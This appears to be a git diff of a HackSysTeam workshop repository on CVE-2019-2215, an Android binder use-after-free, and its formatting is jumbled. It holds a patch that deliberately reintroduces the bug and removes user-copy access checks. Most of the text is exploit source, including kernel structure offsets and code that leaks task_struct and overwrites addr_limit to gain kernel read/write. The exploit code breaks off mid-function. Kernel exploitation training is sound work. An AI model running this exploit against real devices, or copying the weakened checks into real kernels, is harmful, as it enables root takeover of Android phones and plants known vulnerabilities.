+ ANDROID: binder: remove waitqueue when thread exits.
+
+ commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream.
+
+ binder_poll() passes the thread->wait waitqueue that
+ can be slept on for work. When a thread that uses
+ epoll explicitly exits using BINDER_THREAD_EXIT,
+ the waitqueue is freed, but it is never removed
+ from the corresponding epoll data structure. When
+ the process subsequently exits, the epoll cleanup
+ code tries to access the waitlist, which results in
+ a use-after-free.
+
+ Prevent this by using POLLFREE when the thread exits.
+
+ Signed-off-by: Martijn Coenen <maco@android.com>
+ Reported-by: syzbot <syzkaller@googlegroups.com>
+ Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+diff --git a/drivers/android/binder.c b/drivers/android/binder.c
+index a340766b51fe..2ef8bd29e188 100644
+--- a/drivers/android/binder.c
++++ b/drivers/android/binder.c
+@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
+ if (t)
+ spin_lock(&t->lock);
+ }
++
++ /*
++ * If this thread used poll, make sure we remove the waitqueue
++ * from any epoll data structures holding it with POLLFREE.
++ * waitqueue_active() is safe to use here because we're holding
++ * the inner lock.
++ */
++ if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
++ waitqueue_active(&thread->wait)) {
++ wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
++ }
++
+ binder_inner_proc_unlock(thread->proc);
+
+ if (send_reply)
+
+
+
Note: You won't be able to see this commit history because we did a shallow clone. However, I have a full clone of the q-goldfish-android-goldfish-4.14-dev branch.
In Android Kernel Source Code section, we synchronizedq-goldfish-android-goldfish-4.14-dev branch. However, CVE-2019-2215 is already patched in q-goldfish-android-goldfish-4.14-dev.
+
We will reintroduce the vulnerability by applying a custom patch and then build it with Kernel Address Sanitizer (KASan) support.
+
Reintroduction
+
You can find the custom patch in the workshop/patch directory which will reintroduce the vulnerability again.
+
diff --git a/drivers/android/binder.c b/drivers/android/binder.c
+index f6ddec245187..55e2748a13e4 100644
+--- a/drivers/android/binder.c
++++ b/drivers/android/binder.c
+@@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc,
+ * waitqueue_active() is safe to use here because we're holding
+ * the inner lock.
+ */
++ /*
+ if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+ waitqueue_active(&thread->wait)) {
+ wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+ }
++ */
+
+ binder_inner_proc_unlock(thread->proc);
+
+@@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc,
+ * descriptor being closed); ep_remove_waitqueue() holds an RCU read
+ * lock, so we can be sure it's done after calling synchronize_rcu().
+ */
++ /*
+ if (thread->looper & BINDER_LOOPER_STATE_POLL)
+ synchronize_rcu();
++ */
+
+ if (send_reply)
+ binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
+diff --git a/lib/iov_iter.c b/lib/iov_iter.c
+index 7b2fd5f251f2..67af61637f55 100644
+--- a/lib/iov_iter.c
++++ b/lib/iov_iter.c
+@@ -132,19 +132,21 @@
+
+static int copyout(void __user *to, const void *from, size_t n)
+{
+- if (access_ok(VERIFY_WRITE, to, n)) {
++ /*if (access_ok(VERIFY_WRITE, to, n)) {
+ kasan_check_read(from, n);
+ n = raw_copy_to_user(to, from, n);
+- }
++ }*/
++ n = raw_copy_to_user(to, from, n);
+ return n;
+}
+
+static int copyin(void *to, const void __user *from, size_t n)
+{
+- if (access_ok(VERIFY_READ, from, n)) {
++ /*if (access_ok(VERIFY_READ, from, n)) {
+ kasan_check_write(to, n);
+ n = raw_copy_from_user(to, from, n);
+- }
++ }*/
++ n = raw_copy_from_user(to, from, n);
+ return n;
+}
+
+
Let's apply the patch and see which files are modified.
+
ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
+Not currently on any branch.
+nothing to commit, working tree clean
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
+Not currently on any branch.
+Changes not staged for commit:
+ (use "git add <file>..." to update what will be committed)
+ (use "git checkout -- <file>..." to discard changes in working directory)
+
+ modified: drivers/android/binder.c
+ modified: lib/iov_iter.c
+
+no changes added to commit (use "git add" and/or "git commit -a")
+
+
Patching drivers/android/binder.c is fine and understandable. But, why we need to patchlib/iov_iter.c?
+
This is because we are also going to use struct iovec as the corruption target as used by Maddie Stone and Jann Horn of Project Zero. However, they wrote the exploit for Android 4.4 kernel which does not have these additional checks in lib/iov_iter.c.
+
That's the reason we revert these new checks with a patch. You will have better idea what I'm talking about as we proceed with the workshop.
+
Build Kernel With KASan
+
To build the kernel with KASan support we will need a configuration file. You will find the config file in workshop/build-configs/goldfish.x86_64.kasan directory.
You can find the built kernel and other files in workshop/android-4.14-dev/out/kasan/dist.
+
ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux |grep kasan |head
+000000004cfd027e A __crc_kasan_check_read
+000000009da7c655 A __crc_kasan_check_write
+0000000074961168 A __crc_kasan_kmalloc
+0000000047f78877 A __crc_kasan_restore_multi_shot
+0000000097645739 A __crc_kasan_save_enable_multi_shot
+ffffffff806d4d62 T kasan_add_zero_shadow
+ffffffff806d3a9c T kasan_alloc_pages
+ffffffff806d3b44 T kasan_cache_create
+ffffffff806d55b9 T kasan_cache_shrink
+ffffffff806d55c4 T kasan_cache_shutdown
+
This is an indicator that we are able to successfully boot a custom kernel built with KASan support.
+
Crash
+
Let's grab the PoC from the original bug report and see if we are able to trigger the vulnerability and produce a KASan crash.
+
You can find the trigger PoC in workshop/exploit/trigger.cpp. I have provided a Makefile that you can use to build the PoC and push it to the virtual device.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/custom-manifest/default.xml b/custom-manifest/default.xml
deleted file mode 100644
index 1ccb184..0000000
--- a/custom-manifest/default.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
diff --git a/exploit/CMakeLists.txt b/exploit/CMakeLists.txt
deleted file mode 100644
index 8f48de0..0000000
--- a/exploit/CMakeLists.txt
+++ /dev/null
@@ -1,59 +0,0 @@
-#
-# CMake project for CVE-2019-2215
-#
-
-cmake_minimum_required(VERSION 3.12)
-
-message(
- "
- ## # # ### ### ### # ### ### ### # ###
- # # # # # # # ## # # # # ## #
- # # # ## ### ### # # # ### ### ### ### # ###
- # # # # # # # # # # # # #
- ## # ### ### ### ### ### ### ### ### ###
- @HackSysTeam
-"
-)
-
-
-set(NDK_ROOT $ENV{HOME}/Android/Sdk/ndk/21.0.6113669)
-set(ADB_PATH $ENV{HOME}/Android/Sdk/platform-tools/adb)
-
-
-if (NOT DEFINED NDK_ROOT)
- if (DEFINED $ENV{NDK_ROOT})
- set(NDK_ROOT "$ENV{NDK_ROOT}")
- else ()
- message(FATAL_ERROR "Please define NDK_ROOT to point to your NDK path!")
- endif ()
-endif ()
-
-
-# Set the tool chain file
-set(CMAKE_TOOLCHAIN_FILE ${NDK_ROOT}/build/cmake/android.toolchain.cmake)
-set(ANDROID_ABI x86_64)
-set(ANDROID_PLATFORM latest)
-
-
-project(exploit)
-
-
-add_executable(cve-2019-2215-trigger trigger.cpp)
-add_executable(cve-2019-2215-exploit exploit.cpp)
-
-
-add_custom_command(
- TARGET cve-2019-2215-trigger
- POST_BUILD
- COMMAND ${ADB_PATH} push cve-2019-2215-trigger /data/local/tmp > /dev/null
- COMMENT "Pushing cve-2019-2215-trigger to device"
- VERBATIM
-)
-
-add_custom_command(
- TARGET cve-2019-2215-exploit
- POST_BUILD
- COMMAND ${ADB_PATH} push cve-2019-2215-exploit /data/local/tmp > /dev/null
- COMMENT "Pushing cve-2019-2215-exploit to device"
- VERBATIM
-)
diff --git a/exploit/Makefile b/exploit/Makefile
deleted file mode 100644
index 26aa663..0000000
--- a/exploit/Makefile
+++ /dev/null
@@ -1,50 +0,0 @@
-#
-# Makefile for CVE-2019-2215
-#
-# NDK_ROOT=/home/ashfaq/Android/Sdk/ndk/21.0.6113669 make
-#
-
-CXX := clang++
-CXXFLAGS := -static -O3 -Wall -Wextra
-
-ARCH := x86_64
-NDK_API ?= 29
-CROSS_COMPILE := $(NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64
-TARGET_PLATFORM := $(ARCH)-linux-android
-
-CXX_PATH := $(CROSS_COMPILE)/bin/$(TARGET_PLATFORM)$(NDK_API)-$(CXX)
-
-TRIGGER_SRC := trigger.cpp
-TRIGGER_OUTPUT := cve-2019-2215-trigger
-EXPLOIT_SRC := exploit.cpp
-EXPLOIT_OUTPUT := cve-2019-2215-exploit
-
-# default rule
-default: all
-
-# phony rules
-.PHONY: all
-
-all: clean build-trigger
-
-build-trigger:
- @echo Building: $(TRIGGER_OUTPUT)
- @$(CXX_PATH) $(CXXFLAGS) -o $(TRIGGER_OUTPUT) $(TRIGGER_SRC)
-
-build-exploit:
- @echo Building: $(EXPLOIT_OUTPUT)
- @$(CXX_PATH) $(CXXFLAGS) -o $(EXPLOIT_OUTPUT) $(EXPLOIT_SRC)
-
-clean:
- @echo Removing: $(TRIGGER_OUTPUT)
- @rm -f $(TRIGGER_OUTPUT)
- @echo Removing: $(EXPLOIT_OUTPUT)
- @rm -f $(EXPLOIT_OUTPUT)
-
-push-trigger:
- @echo Pushing: $(TRIGGER_OUTPUT) to /data/local/tmp
- @adb push $(TRIGGER_OUTPUT) /data/local/tmp
-
-push-exploit:
- @echo Pushing: $(EXPLOIT_OUTPUT) to /data/local/tmp
- @adb push $(EXPLOIT_OUTPUT) /data/local/tmp
diff --git a/exploit/common.h b/exploit/common.h
deleted file mode 100644
index d09cec4..0000000
--- a/exploit/common.h
+++ /dev/null
@@ -1,138 +0,0 @@
-/*++
-
- ## # # ### ### ### # ### ### ### # ###
- # # # # # # # ## # # # # ## #
- # # # ## ### ### # # # ### ### ### ### # ###
- # # # # # # # # # # # # #
- ## # ### ### ### ### ### ### ### ### ###
- @HackSysTeam
-
- CVE-2019-2215
- Android Binder Use after Free
- CloudFuzz TechnoLabs Pvt. Ltd.
-
- https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
- https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
-
- Thanks:
- @maddiestone
- @tehjh
-
---*/
-
-#pragma once
-
-#ifndef __COMMON_H__
-#define __COMMON_H__
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-
-/**
- * Defines
- */
-
-#define BANNER \
- " \n" \
- " ## # # ### ### ### # ### ### ### # ### \n" \
- " # # # # # # # ## # # # # ## # \n" \
- " # # # ## ### ### # # # ### ### ### ### # ### \n" \
- " # # # # # # # # # # # # # \n" \
- " ## # ### ### ### ### ### ### ### ### ### \n" \
- " @HackSysTeam \n" \
- " \n"
-
-#define INFO(...) printf(__VA_ARGS__)
-#define ERR(...) printf(__VA_ARGS__)
-
-
-#define OFFSET_TASK_STRUCT_ADDR_LIMIT 0xA18
-
-#define GLOBAL_ROOT_UID (uint32_t)0
-#define GLOBAL_ROOT_GID (uint32_t)0
-#define SECUREBITS_DEFAULT (uint32_t)0x00000000
-#define CAP_EMPTY_SET (uint64_t)0
-#define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF
-
-
-/**
- * System.map
- *
- * ffffffff80200000 T _stext
- * ffffffff816acfe8 B selinux_enforcing
- * ffffffff81433ac0 D init_nsproxy
- */
-
-//
-// offset = 0xffffffff81433ac0 - 0xffffffff80200000
-//
-
-#define SYMBOL_OFFSET_init_nsproxy (ptrdiff_t)0x1233ac0
-
-//
-// I have found that this offset changes every compile.
-// If the exploit fails in patching selinux_enforcing,
-// try updating this offset
-//
-
-#define SYMBOL_OFFSET_selinux_enforcing (ptrdiff_t)0x14acfe8
-
-
-/**
- * Data structures
- */
-
-struct binder_thread {
- uint8_t junk1[160]; /* 0 0xa0 */
- uint8_t wait[24]; /* 0xa0 0x18 */
- uint8_t junk2[224]; /* 0xb8 0xe0 */
-} __attribute__((packed)); /* size: 0x198 */
-
-
-struct task_struct {
- uint8_t junk1[1256]; /* 0 0x4e8 */
- pid_t pid; /* 0x4e8 0x4 */
- uint8_t junk2[412]; /* 0x4ec 0x19c */
- uint64_t cred; /* 0x688 0x8 */
- uint8_t junk3[48]; /* 0x690 0x30 */
- uint64_t nsproxy; /* 0x6c0 0x8 */
- uint8_t junk4[1944]; /* 0x6c8 0x798 */
-} __attribute__((packed)); /* size: 0xe60 */
-
-
-struct cred {
- int32_t usage; /* 0 0x4 */
- uint32_t uid; /* 0x4 0x4 */
- uint32_t gid; /* 0x8 0x4 */
- uint32_t suid; /* 0xc 0x4 */
- uint32_t sgid; /* 0x10 0x4 */
- uint32_t euid; /* 0x14 0x4 */
- uint32_t egid; /* 0x18 0x4 */
- uint32_t fsuid; /* 0x1c 0x4 */
- uint32_t fsgid; /* 0x20 0x4 */
- uint32_t securebits; /* 0x24 0x4 */
- uint64_t cap_inheritable; /* 0x28 0x8 */
- uint64_t cap_permitted; /* 0x30 0x8 */
- uint64_t cap_effective; /* 0x38 0x8 */
- uint64_t cap_bset; /* 0x40 0x8 */
- uint64_t cap_ambient; /* 0x48 0x8 */
- uint8_t junk2[40]; /* 0x50 0x28 */
- void *security; /* 0x78 0x8 */
- uint8_t junk3[40]; /* 0x80 0x28 */
-} __attribute__((packed)); /* size: 0xA8 */
-
-#endif //__COMMON_H__
diff --git a/exploit/exploit.cpp b/exploit/exploit.cpp
deleted file mode 100644
index 7a0732c..0000000
--- a/exploit/exploit.cpp
+++ /dev/null
@@ -1,991 +0,0 @@
-/*++
-
- ## # # ### ### ### # ### ### ### # ###
- # # # # # # # ## # # # # ## #
- # # # ## ### ### # # # ### ### ### ### # ###
- # # # # # # # # # # # # #
- ## # ### ### ### ### ### ### ### ### ###
- @HackSysTeam
-
- CVE-2019-2215
- Android Binder Use after Free
- CloudFuzz TechnoLabs Pvt. Ltd.
-
- https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
- https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
-
- Thanks:
- @maddiestone
- @tehjh
-
---*/
-
-#include "exploit.h"
-
-
-/**
- * Bind to CPU
- */
-void BinderUaF::bindToCPU() {
- int ret;
- cpu_set_t cpuSet;
-
- CPU_ZERO(&cpuSet);
- CPU_SET(0, &cpuSet);
-
- //
- // It's a good thing to bind the CPU to a specific core,
- // so that we do not get scheduled to different core and
- // mess up the SLUB state
- //
-
- INFO("[+] Binding to 0th core\n");
-
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuSet);
-
- if (ret < 0) {
- ERR("[-] bindCPU failed: 0x%x\n", errno);
- }
-}
-
-
-/**
- * Open the binder device
- */
-void BinderUaF::setupBinder() {
- INFO("[+] Opening: /dev/binder\n");
-
- m_binder_fd = open("/dev/binder", O_RDONLY);
-
- if (m_binder_fd < 0) {
- ERR("\t[-] Unable to get binder fd\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] m_binder_fd: 0x%x\n", m_binder_fd);
- }
-}
-
-
-/**
- * Free the binder thread structure
- */
-void BinderUaF::freeBinderThread() {
- INFO("[+] Freeing binder_thread\n");
-
- ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL);
-}
-
-
-/**
- * Create the event poll
- */
-void BinderUaF::setupEventPoll() {
- INFO("[+] Creating event poll\n");
-
- m_epoll_fd = epoll_create(1);
-
- if (m_epoll_fd < 0) {
- ERR("\t[-] Unable to get event poll fd\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd);
- }
-}
-
-
-/**
- * Allocate 4GB aligned page
- */
-void BinderUaF::mmap4gbAlignedPage() {
- if (!m_4gb_aligned_page) {
- INFO("[+] Mapping 4GB aligned page\n");
-
- m_4gb_aligned_page = mmap(
- (void *) 0x100000000ul,
- PAGE_SIZE,
- PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS,
- -1,
- 0
- );
-
- if (!m_4gb_aligned_page) {
- ERR("\t[-] Unable to mmap 4GB aligned page\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Mapped page: %p\n", m_4gb_aligned_page);
- }
- }
-}
-
-
-/**
- * Link eppoll_entry->wait.entry to binder_thread->wait.head
- */
-void BinderUaF::linkEventPollWaitQueueToBinderThreadWaitQueue() {
- INFO("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n");
-
- epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event);
-}
-
-
-/**
- * Unlink eppoll_entry->wait.entry from binder_thread->wait.head
- */
-void BinderUaF::unlinkEventPollWaitQueueFromBinderThreadWaitQueue() {
- INFO("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n");
-
- epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event);
-}
-
-
-/**
- * The dangling chunk is binder_thread structure
- * and it contains an interesting member task_struct
- */
-void BinderUaF::leakTaskStruct() {
- int pipe_fd[2] = {0};
- ssize_t nBytesRead = 0;
- static char dataBuffer[PAGE_SIZE] = {0};
- struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
-
- //
- // Get binder fd
- //
-
- setupBinder();
-
- //
- // Create event poll
- //
-
- setupEventPoll();
-
- //
- // We are going to use iovec for scoped read/write,
- // we need to make sure that iovec stays in the kernel
- // before we trigger the unlink after binder_thread has
- // been freed.
- //
- // One way to achieve this is by using the blocking APIs
- // in Linux kernel. Such APIs are read, write, etc on pipe.
- //
-
- //
- // Setup pipe for iovec
- //
-
- INFO("[+] Setting up pipe\n");
-
- if (pipe(pipe_fd) == -1) {
- ERR("\t[-] Unable to create pipe\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Pipe created successfully\n");
- }
-
- //
- // pipe_fd[0] = read fd
- // pipe_fd[1] = write fd
- //
- // Default size of pipe is 65536 = 0x10000 = 64KB
- // This is way much of data that we care about
- // Let's reduce the size of pipe to 0x1000
- //
- if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) {
- ERR("\t[-] Unable to change the pipe capacity\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);
- }
-
- INFO("[+] Setting up iovecs\n");
-
- //
- // As we are overlapping binder_thread with iovec,
- // binder_thread->wait.lock will align to iovecStack[10].io_base.
- //
- // If binder_thread->wait.lock is not 0 then the thread will get
- // stuck in trying to acquire the lock and the unlink operation
- // will not happen.
- //
- // To avoid this, we need to make sure that the overlapped data
- // should be set to 0.
- //
- // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if
- // we can pass a valid memory address whose lower 32bit value is 0,
- // then we can avoid spin lock issue.
- //
-
- mmap4gbAlignedPage();
-
- iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
- iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;
-
- //
- // Now link the poll wait queue to binder thread wait queue
- //
-
- linkEventPollWaitQueueToBinderThreadWaitQueue();
-
- //
- // We should trigger the unlink operation when we
- // have the binder_thread reallocated as iovec array
- //
-
- //
- // Now fork
- //
-
- pid_t childPid = fork();
-
- if (childPid == 0) {
- //
- // child process
- //
-
- //
- // There is a race window between the unlink and blocking
- // in writev, so sleep for a while to ensure that we are
- // blocking in writev before the unlink happens
- //
-
- sleep(2);
-
- //
- // Trigger the unlink operation on the reallocated chunk
- //
-
- unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
-
- //
- // First interesting iovec will read 0x1000 bytes of data.
- // This is just the junk data that we are not interested in
- //
-
- nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
-
- if (nBytesRead != PAGE_SIZE) {
- ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
- exit(EXIT_FAILURE);
- }
-
- exit(EXIT_SUCCESS);
-
- }
-
- //
- // parent process
- //
-
- //
- // I have seen some races which hinders the reallocation.
- // So, now freeing the binder_thread after fork.
- //
-
- freeBinderThread();
-
- //
- // Reallocate binder_thread as iovec array
- //
- // We need to make sure this writev call blocks
- // This will only happen when the pipe is already full
- //
-
- //
- // This print statement was ruining the reallocation,
- // spent a night to figure this out. Commenting the
- // below line.
- //
-
- // INFO("[+] Reallocating binder_thread\n");
-
-
- ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT);
-
- //
- // If the corruption was successful, the total bytes written
- // should be equal to 0x2000. This is because there are two
- // valid iovec and the length of each is 0x1000
- //
-
- if (nBytesWritten != PAGE_SIZE * 2) {
- ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten);
- }
-
- //
- // Now read the actual data from the corrupted iovec
- // This is the leaked data from kernel address space
- // and will contain the task_struct pointer
- //
-
- nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));
-
- if (nBytesRead != PAGE_SIZE) {
- ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);
- exit(EXIT_FAILURE);
- }
-
- //
- // Wait for the child process to exit
- //
-
- wait(nullptr);
-
- m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));
-
- m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));
- m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));
- m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));
-
- INFO("[+] Leaked task_struct: %p\n", m_task_struct);
- INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress);
- INFO("\t[*] &task_struct->cred: %p\n", m_credAddress);
- INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);
-}
-
-
-/**
- * Clobber addr_limit
- */
-void BinderUaF::clobberAddrLimit() {
- int sock_fd[2] = {0};
- ssize_t nBytesWritten = 0;
- struct msghdr message = {nullptr};
- struct iovec iovecStack[IOVEC_COUNT] = {nullptr};
-
- //
- // Get binder fd
- //
-
- setupBinder();
-
- //
- // Create event poll
- //
-
- setupEventPoll();
-
- //
- // For clobbering the addr_limit we trigger the unlink
- // operation again after reallocating binder_thread with
- // iovecs
- //
- // If you see how we manage to leak kernel data is by using
- // the blocking feature of writev
- //
- // We could use readv blocking feature to do scoped write
- // However, after trying readv and reading the Linux kernel
- // code, I figured out an issue which makes readv useless for
- // current bug.
- //
- // The main issue that I found is:
- //
- // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer
- // due to unlink operation
- //
- // So, when copy_page_to_iter_iovec tries to process the iovecs,
- // there is a line of code, copy = min(bytes, iov->iov_len);
- // Here, "bytes" is equal to sum of all iovecs length and as
- // "iov->iov_len" is corrupted with a pointer which is obviously
- // a very big number, now copy = sum of all iovecs length and skips
- // the processing of the next iovec which is the target iovec which
- // would give was scoped write.
- //
- // I believe P0 also faced the same issue so they switched to recvmsg
- //
-
- //
- // Setup socketpair for iovec
- //
- // AF_UNIX/AF_LOCAL is used because we are interested only in
- // local communication
- //
- // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg
- //
-
- INFO("[+] Setting up socket\n");
-
- if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) {
- ERR("\t[-] Unable to create socketpair\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Socketpair created successfully\n");
- }
-
- //
- // We will just write junk data to socket so that when recvmsg
- // is called it process the fist valid iovec with this junk data
- // and then blocks and waits for the rest of the data to be received
- //
-
- static char junkSocketData[] = {
- 0x41
- };
-
- INFO("[+] Writing junk data to socket\n");
-
- nBytesWritten = write(sock_fd[1], &junkSocketData, sizeof(junkSocketData));
-
- if (nBytesWritten != sizeof(junkSocketData)) {
- ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData));
- exit(EXIT_FAILURE);
- }
-
- //
- // Write junk data to the socket so that when recvmsg is
- // called, it process the first valid iovec with this junk
- // data and then blocks for the rest of the incoming socket data
- //
-
- INFO("[+] Setting up iovecs\n");
-
- //
- // We want to block after processing the iovec at IOVEC_WQ_INDEX,
- // because then, we can trigger the unlink operation and get the
- // next iovecs corrupted to gain scoped write.
- //
-
- mmap4gbAlignedPage();
-
- iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
- iovecStack[IOVEC_WQ_INDEX].iov_len = 1;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
- iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
- iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242;
- iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;
-
- //
- // Prepare the data buffer that will be written to socket
- //
-
- //
- // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64
- // will result in crash because of a check in do_page_fault
- // However, x86_64 does not have this check. But it's better
- // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can
- // be used in arm64 as well.
- //
-
- static uint64_t finalSocketData[] = {
- 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len
- 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
- 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
- (uint64_t) ((uint8_t *) m_task_struct +
- OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
- 0xFFFFFFFFFFFFFFFE // addr_limit value
- };
-
- //
- // Prepare the message
- //
-
- message.msg_iov = iovecStack;
- message.msg_iovlen = IOVEC_COUNT;
-
- //
- // Now link the poll wait queue to binder thread wait queue
- //
-
- linkEventPollWaitQueueToBinderThreadWaitQueue();
-
- //
- // We should trigger the unlink operation when we
- // have the binder_thread reallocated as iovec array
- //
-
- //
- // Now fork
- //
-
- pid_t childPid = fork();
-
- if (childPid == 0) {
- //
- // child process
- //
-
- //
- // There is a race window between the unlink and blocking
- // in writev, so sleep for a while to ensure that we are
- // blocking in writev before the unlink happens
- //
-
- sleep(2);
-
- //
- // Trigger the unlink operation on the reallocated chunk
- //
-
- unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
-
- //
- // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len
- // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered
- //
- // Write rest of the data to the socket so that recvmsg starts
- // processing the corrupted iovecs and we get scoped write and
- // finally arbitrary write
- //
-
- nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData));
-
- if (nBytesWritten != sizeof(finalSocketData)) {
- ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData));
- exit(EXIT_FAILURE);
- }
-
- exit(EXIT_SUCCESS);
-
- }
-
- //
- // parent process
- //
-
- //
- // I have seen some races which hinders the reallocation.
- // So, now freeing the binder_thread after fork.
- //
-
- freeBinderThread();
-
- //
- // Reallocate binder_thread as iovec array and
- // we need to make sure this recvmsg call blocks.
- //
- // recvmsg will block after processing a valid iovec at
- // iovecStack[IOVEC_WQ_INDEX]
- //
-
- ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);
-
- //
- // If the corruption was successful, the total bytes received
- // should be equal to length of all iovec. This is because there
- // are three valid iovec
- //
-
- ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +
- iovecStack[IOVEC_WQ_INDEX + 1].iov_len +
- iovecStack[IOVEC_WQ_INDEX + 2].iov_len;
-
- if (nBytesReceived != expectedBytesReceived) {
- ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived);
- exit(EXIT_FAILURE);
- }
-
- //
- // Wait for the child process to exit
- //
-
- wait(nullptr);
-}
-
-
-/**
- * Initialize kernel read write pipe
- */
-void BinderUaF::initKernelReadWritePipe() {
- //
- // Setup the pipe that will be used for
- // arbitrary kernel read/write primitive
- //
-
- INFO("[+] Setting up pipe for kernel read/write\n");
-
- if (pipe(m_kernel_rw_pipe_fd) == -1) {
- ERR("\t[-] Unable to create pipe\n");
- exit(EXIT_FAILURE);
- } else {
- INFO("\t[*] Pipe created successfully\n");
- }
-}
-
-
-/**
- * Verify arbitrary read write primitive
- */
-void BinderUaF::verifyArbitraryReadWrite() {
- INFO("[+] Verifying arbitrary read/write primitive\n");
-
- //
- // Get the current pid
- //
-
- pid_t currentPid = getpid();
-
- //
- // Expected pid from task_struct
- //
-
- pid_t expectedPid = 0;
-
- //
- // Now read the pid from the task_struct
- //
-
